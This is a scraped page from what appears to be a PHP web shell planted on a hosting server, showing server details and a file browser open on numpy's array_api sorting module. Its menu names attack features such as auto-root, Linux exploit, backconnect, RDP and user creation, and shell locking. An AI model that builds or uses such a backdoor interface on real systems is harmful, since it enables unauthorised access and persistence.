Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 3.144.21.125
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
numpy /
array_api /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
__init__.py
10.11
KB
-rw-r--r--
_array_object.py
42.71
KB
-rw-r--r--
_constants.py
66
B
-rw-r--r--
_creation_functions.py
9.81
KB
-rw-r--r--
_data_type_functions.py
6.14
KB
-rw-r--r--
_dtypes.py
4.71
KB
-rw-r--r--
_elementwise_functions.py
25.38
KB
-rw-r--r--
_indexing_functions.py
601
B
-rw-r--r--
_manipulation_functions.py
3.24
KB
-rw-r--r--
_searching_functions.py
1.67
KB
-rw-r--r--
_set_functions.py
2.88
KB
-rw-r--r--
_sorting_functions.py
1.98
KB
-rw-r--r--
_statistical_functions.py
3.5
KB
-rw-r--r--
_typing.py
1.2
KB
-rw-r--r--
_utility_functions.py
824
B
-rw-r--r--
linalg.py
17.79
KB
-rw-r--r--
setup.py
341
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _sorting_functions.py
from __future__ import annotations from ._array_object import Array from ._dtypes import _real_numeric_dtypes import numpy as np # Note: the descending keyword argument is new in this function def argsort( x: Array, /, *, axis: int = -1, descending: bool = False, stable: bool = True ) -> Array: """ Array API compatible wrapper for :py:func:`np.argsort <numpy.argsort>`. See its docstring for more information. """ if x.dtype not in _real_numeric_dtypes: raise TypeError("Only real numeric dtypes are allowed in argsort") # Note: this keyword argument is different, and the default is different. kind = "stable" if stable else "quicksort" if not descending: res = np.argsort(x._array, axis=axis, kind=kind) else: # As NumPy has no native descending sort, we imitate it here. Note that # simply flipping the results of np.argsort(x._array, ...) would not # respect the relative order like it would in native descending sorts. res = np.flip( np.argsort(np.flip(x._array, axis=axis), axis=axis, kind=kind), axis=axis, ) # Rely on flip()/argsort() to validate axis normalised_axis = axis if axis >= 0 else x.ndim + axis max_i = x.shape[normalised_axis] - 1 res = max_i - res return Array._new(res) # Note: the descending keyword argument is new in this function def sort( x: Array, /, *, axis: int = -1, descending: bool = False, stable: bool = True ) -> Array: """ Array API compatible wrapper for :py:func:`np.sort <numpy.sort>`. See its docstring for more information. """ if x.dtype not in _real_numeric_dtypes: raise TypeError("Only real numeric dtypes are allowed in sort") # Note: this keyword argument is different, and the default is different. kind = "stable" if stable else "quicksort" res = np.sort(x._array, axis=axis, kind=kind) if descending: res = np.flip(res, axis=axis) return Array._new(res)
Close